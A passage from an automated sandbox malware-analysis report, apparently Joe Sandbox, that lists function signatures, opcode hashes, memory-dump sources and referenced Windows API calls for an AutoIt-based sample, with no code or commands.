                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: CurrentExitFindImageNonwritableSectionThread__freeptd__getptd_noexit
                              • String ID:
                              • API String ID: 3182216644-0
                              • Opcode ID: 18f79961a183a005566c851b5a75566c8a37b9a59448809cc1b4ea10e33ea091
                              • Instruction ID: 8c1b811a677bc0208766d104aadce1409d27245c16b3af4a320e27a455eae914
                              • Opcode Fuzzy Hash: 18f79961a183a005566c851b5a75566c8a37b9a59448809cc1b4ea10e33ea091
                              • Instruction Fuzzy Hash: F8D0EC7051024256D6207BA7ED097AA3A589B44B26B15446EA905801B1DF68D9C1862D
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: BuffCharLower
                              • String ID: $8'I
                              • API String ID: 2358735015-3608026889
                              • Opcode ID: e3039598ad07eb1683e22d1e13845cc1c6bfaba1fe80df618d976ecbdfba683b
                              • Instruction ID: 1bf34105e022c250dd7240f1ea7ec4803edb57b208c13e69c3fb06210d7c4844
                              • Opcode Fuzzy Hash: e3039598ad07eb1683e22d1e13845cc1c6bfaba1fe80df618d976ecbdfba683b
                              • Instruction Fuzzy Hash: 9FE1AE745043018BCB24EF16D88166BB7E4BF94348F40482FF88597292EB79DD89CB9B
                              APIs
                              • OleSetContainedObject.OLE32(00000000,00000001), ref: 0047857A
                                • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                • Part of subcall function 00445513: OleSetContainedObject.OLE32(?,00000000), ref: 00445593
                                • Part of subcall function 004781AE: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00000001,00000000,NULL Pointer assignment,00000001), ref: 00478201
                                • Part of subcall function 004781AE: VariantCopy.OLEAUT32(?,?), ref: 00478259
                                • Part of subcall function 004781AE: VariantCopy.OLEAUT32(-00000058,?), ref: 00478270
                                • Part of subcall function 004781AE: VariantCopy.OLEAUT32(-00000078,?), ref: 00478287
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: CopyVariant$ContainedObject$ErrorLast_malloc
                              • String ID: AutoIt3GUI$Container
                              • API String ID: 3380330463-3941886329
                              • Opcode ID: a9ff7069b9b8d6ccd49eba872ad7efd2467de888f1098c4430e935d21ee713db
                              • Instruction ID: 8a51a4197b359b89da059ec4b883cd23719ad159cb4f439b8c2c8f5fea4c1b32
                              • Opcode Fuzzy Hash: a9ff7069b9b8d6ccd49eba872ad7efd2467de888f1098c4430e935d21ee713db
                              • Instruction Fuzzy Hash: FEA16A71240601AFC760EF69C880A6BB7E9FB88304F10892EF649CB361EB75E945CB55
                              APIs
                              • _wcslen.LIBCMT ref: 00409A61
                                • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                • Part of subcall function 0041171A: std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                • Part of subcall function 0041171A: std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                                • Part of subcall function 0041171A: __CxxThrowException@8.LIBCMT ref: 00411779
                              • CharUpperBuffW.USER32(?,?), ref: 00409AF5
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: BuffCharException@8ThrowUpper_malloc_wcslenstd::bad_alloc::bad_allocstd::bad_exception::bad_exception
                              • String ID: 0vH
                              • API String ID: 1143807570-3662162768
                              • Opcode ID: c09e7a550d587b66afd16ae3f9308ee528eb86d4dd4285a1c93ad52bd0ffcd86
                              • Instruction ID: 5e67718e4417cbef977f4cc7974cb0b4b39b480e5382bb1977b3cac956c07efc
                              • Opcode Fuzzy Hash: c09e7a550d587b66afd16ae3f9308ee528eb86d4dd4285a1c93ad52bd0ffcd86
                              • Instruction Fuzzy Hash: 53515BB1A083009FC718CF18C48065BB7E1FF88314F54856EF9999B391D779E942CB96
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID:
                              • String ID: HH$HH
                              • API String ID: 0-1787419579
                              • Opcode ID: fed4e066af51e45fc8c5976399addcc25001bc25a5639efd16b547c1275b717f
                              • Instruction ID: b2aab3850ea6996be17d3b26b1a0d96f4757dd5de2ef7d298d9c2790e2b3b10f
                              • Opcode Fuzzy Hash: fed4e066af51e45fc8c5976399addcc25001bc25a5639efd16b547c1275b717f
                              • Instruction Fuzzy Hash: 1241BF367042009FC310EF69E881F5AF3A1EF99314F548A6EFA589B381D776E811CB95
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: InfoItemMenu_memset
                              • String ID: 0
                              • API String ID: 2223754486-4108050209
                              • Opcode ID: 4788cf6f182db8212a4dd4ca04636ab1929000af0f3277abda7ed9995d735732
                              • Instruction ID: 143d79469fb3e570aa9bb1e7a79db7ad77638f8ab3c2e89d41e08a42c99b444e
                              • Opcode Fuzzy Hash: 4788cf6f182db8212a4dd4ca04636ab1929000af0f3277abda7ed9995d735732
                              • Instruction Fuzzy Hash: CB3101721043009BF3249F18DC85BABBBE4EBC6310F14081FFA90C62A0E379D949C75A
                              APIs
                              • SendMessageW.USER32(?,00001132,00000000,?), ref: 0044846C
                              • SendMessageW.USER32(?,00001105,00000000,00000000), ref: 0044847E
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: MessageSend
                              • String ID: '
                              • API String ID: 3850602802-1997036262
                              • Opcode ID: 40c115dbe3bb232f42185e8835a3c48b8da925c0788aed463fb6e16a301179a8
                              • Instruction ID: cecdca06d5aa7ecc7109d5e1ff25192cbd540bafe2d1ef24ff7c1b98f096cb5f
                              • Opcode Fuzzy Hash: 40c115dbe3bb232f42185e8835a3c48b8da925c0788aed463fb6e16a301179a8
                              • Instruction Fuzzy Hash: 984179706083459FE710CF18C880BABB7E1FB89700F54882EF9888B351DB75A841CF5A
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID:
                              • String ID: 0
                              • API String ID: 0-4108050209
                              • Opcode ID: b6c602b1dd263d2c99a5ec9127bd928e029cd45f71d746a48c0c49a5726287e2
                              • Instruction ID: 268d240ecd79f719a1425e83c09d650ed443e1bf0ac8ef4f8d51517adc50c1d2
                              • Opcode Fuzzy Hash: b6c602b1dd263d2c99a5ec9127bd928e029cd45f71d746a48c0c49a5726287e2
                              • Instruction Fuzzy Hash: B6210D765042206BEB15DF08D844B97B7A4FBDA310F44492BEE9897250D379E848C7AA
                              APIs
                              • SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00451305
                              • SendMessageW.USER32(00000000,0000014E,00000000,00000000), ref: 00451313
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: MessageSend
                              • String ID: Combobox
                              • API String ID: 3850602802-2096851135
                              • Opcode ID: 0499e5d8541f4f9e55005c4c3969ca7e279e19a534152943b96dd4c6f47caa3c
                              • Instruction ID: f266216a818347eeb58d59163185d0479ace604409515c443b0f4894c7ad90f2
                              • Opcode Fuzzy Hash: 0499e5d8541f4f9e55005c4c3969ca7e279e19a534152943b96dd4c6f47caa3c
                              • Instruction Fuzzy Hash: D9110A72A0430067E6109AA4DC80F5BB3D8EB99735F10071BFA24E72E1D774FC448768
                              APIs
                              • GetWindowTextLengthW.USER32(00000000), ref: 004515DA
                              • SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 004515EA
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: LengthMessageSendTextWindow
                              • String ID: edit
                              • API String ID: 2978978980-2167791130
                              • Opcode ID: 255065f22875c24af3de74cb0bd99753dbe1335258aa39c92c973eb9156a9169
                              • Instruction ID: b80de1f22085cd2d24dcce0fe83431d10f7d2aff66e66183492c5b70af3c9e13
                              • Opcode Fuzzy Hash: 255065f22875c24af3de74cb0bd99753dbe1335258aa39c92c973eb9156a9169
                              • Instruction Fuzzy Hash: 2011E4716003006BD6109A64D884F6BB3DCEBD8335F104B1EFA61D32E1D779EC458729
                              APIs
                              • Sleep.KERNEL32(00000000), ref: 00474833
                              • GlobalMemoryStatusEx.KERNEL32 ref: 00474846
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: GlobalMemorySleepStatus
                              • String ID: @
                              • API String ID: 2783356886-2766056989
                              • Opcode ID: 6b539aa5d60aaa410447b6e5f9627e9a7b549f395ce9a021d490b3e8c5b2361e
                              • Instruction ID: 41c327e25453105c4ca6c880754d33c67e761007402a238c65fd2e715fefe222
                              • Opcode Fuzzy Hash: 6b539aa5d60aaa410447b6e5f9627e9a7b549f395ce9a021d490b3e8c5b2361e
                              • Instruction Fuzzy Hash: 4421C230929A14B7C2107F6ABD4BB5E7BB8AF44716F008C5DF5C562094DF785268836F
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: htonsinet_addr
                              • String ID: 255.255.255.255
                              • API String ID: 3832099526-2422070025
                              • Opcode ID: 8f81358a7508e033a1ccca041802c5cf6ea433113977ffec7d790c03bda6a3ba
                              • Instruction ID: e3b5e028fda38c0aed97ec3d425ece65e45bc088e5f3683a6f0e3ee8de0e9224
                              • Opcode Fuzzy Hash: 8f81358a7508e033a1ccca041802c5cf6ea433113977ffec7d790c03bda6a3ba
                              • Instruction Fuzzy Hash: 6F11253620030057DA10EB69C882F9BB394EFC4728F00896BFA105B283D679F45A832E
                              APIs
                                • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                              • SendMessageW.USER32(00000000,000001A2,000000FF,00000000), ref: 00469547
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: MessageSend_wcslen
                              • String ID: ComboBox$ListBox
                              • API String ID: 455545452-1403004172
                              • Opcode ID: 19b239a33d6ccea3c1be09f9a3ff48f3ef4fb117e78275193105084191351ab7
                              • Instruction ID: d7878a024921556205560296ec06e6abf53b779169672b4943ab7ad66f70e2c7
                              • Opcode Fuzzy Hash: 19b239a33d6ccea3c1be09f9a3ff48f3ef4fb117e78275193105084191351ab7
                              • Instruction Fuzzy Hash: 2601D6327011106B8600BB299C019AFB39DDBC2370F544A2FF965573D1EA39AC0E476A
                              APIs
                              • InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 00442B8C
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: InternetOpen
                              • String ID: <local>
                              • API String ID: 2038078732-4266983199
                              • Opcode ID: 6ab628e9b643b7f337e7eb9a1eb164a667740d16f62f34970bb7649561c47b18
                              • Instruction ID: 525aca290fb55aeb65c4bf55ca0deee88c9418ef2a1db54778758d1eb2e06c8a
                              • Opcode Fuzzy Hash: 6ab628e9b643b7f337e7eb9a1eb164a667740d16f62f34970bb7649561c47b18
                              • Instruction Fuzzy Hash: 9011A934144751AAF621DF108D86FB77794FB50B01F50480FF9866B2C0D6F4B848C766
                              APIs
                                • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                              • SendMessageW.USER32(00000000,00000180,00000000,00000000), ref: 00469660
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: MessageSend_wcslen
                              • String ID: ComboBox$ListBox
                              • API String ID: 455545452-1403004172
                              • Opcode ID: 9c387d355752c609e3ec3b71bdfa1ce54c6356e755a59a855018ee08606d8eab
                              • Instruction ID: 486d2595d5a7427da4a9c048e684990a8dc9cac685a8154682435d05c4426571
                              • Opcode Fuzzy Hash: 9c387d355752c609e3ec3b71bdfa1ce54c6356e755a59a855018ee08606d8eab
                              • Instruction Fuzzy Hash: A101D87274121027C600BA259C01AEBB39CEB96354F04443BF94597291EA6DED0E43AA
                              APIs
                                • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                              • SendMessageW.USER32(00000182,00000182,?,00000000), ref: 004695D6
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: MessageSend_wcslen
                              • String ID: ComboBox$ListBox
                              • API String ID: 455545452-1403004172
                              • Opcode ID: ebc0188a5584a95c85a0cdadc4297c14a5cc600b4744d97cee4f9a5f6612b8f9
                              • Instruction ID: 72d13aeac174e9c1a3a177398698555a642000804846b33da1492f44d6438514
                              • Opcode Fuzzy Hash: ebc0188a5584a95c85a0cdadc4297c14a5cc600b4744d97cee4f9a5f6612b8f9
                              • Instruction Fuzzy Hash: 4D01A77374111067C610BA6A9C01AEB739CABD2364F44443BF94597292EA7DED0E43AA
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: _strncmp
                              • String ID: ,$UTF8)
                              • API String ID: 909875538-2632631837
                              • Opcode ID: 727c7c5760fb27673dbb24875b26f121239a8201232c39922ad2fa80f7f85d54
                              • Instruction ID: 35c0b5e4e6bd282640ba12729024cfd3588da47ca1ed1c49f01331a057b7ec9b
                              • Opcode Fuzzy Hash: 727c7c5760fb27673dbb24875b26f121239a8201232c39922ad2fa80f7f85d54
                              • Instruction Fuzzy Hash: 7601B575A083805BE720DE20CC85BA773A1AB81319F58492ED8D5872A1F73DD449C75B
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: _strncmp
                              • String ID: ,$UTF8)
                              • API String ID: 909875538-2632631837
                              • Opcode ID: abd9c85c193eb76a615b38e8260140970f327620044c052ec7ea970ca86f7e2a
                              • Instruction ID: b3c6803870d1b21283bf32431af321d4190ac902c568a1d8b2e557ddf245ca97
                              • Opcode Fuzzy Hash: abd9c85c193eb76a615b38e8260140970f327620044c052ec7ea970ca86f7e2a
                              • Instruction Fuzzy Hash: 1E01D875A043805BE720DE20CC85B6773A19B4131AF68492FD8D6872A1F73DD449C75B
                              APIs
                              • SendMessageW.USER32(?,00001001,00000000,?), ref: 004560BA
                                • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                              • wsprintfW.USER32 ref: 004560E9
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: MessageSend_mallocwsprintf
                              • String ID: %d/%02d/%02d
                              • API String ID: 1262938277-328681919
                              • Opcode ID: dc5fd9a877cd0fc352ed6de9b5f97ee6fb2dcbb154e3a48ad4a1e49fbb654ae8
                              • Instruction ID: 2a73c44ac592e0fe880a68d863bd42ca8887a008949f121bccc13d44bcf2ebb3
                              • Opcode Fuzzy Hash: dc5fd9a877cd0fc352ed6de9b5f97ee6fb2dcbb154e3a48ad4a1e49fbb654ae8
                              • Instruction Fuzzy Hash: 13F08272744220A7E2105BA5AC01BBFB3D4EB84762F10443BFE44D12C0E66E8455D7BA
                              APIs
                              • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 0044226C
                              • PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 0044227F
                                • Part of subcall function 00436272: Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 00436287
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.2118916190.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.2118902254.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118964930.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2118982197.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.2119009858.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_w6dnPra4mx.jbxd
                              Similarity
                              • API ID: FindMessagePostSleepWindow
                              • String ID: Shell_TrayWnd
                              • API String ID: 529655941-2988720461
                              • Opcode ID: 62d1e1a02585172d548c808ed695c1d9d3028cc69dace886715b1b3d1423c17e
                              • Instruction ID: f0ed9326d30a696a9ade51716a531e8bd1705000bbe21894ac7a57cb5589152b
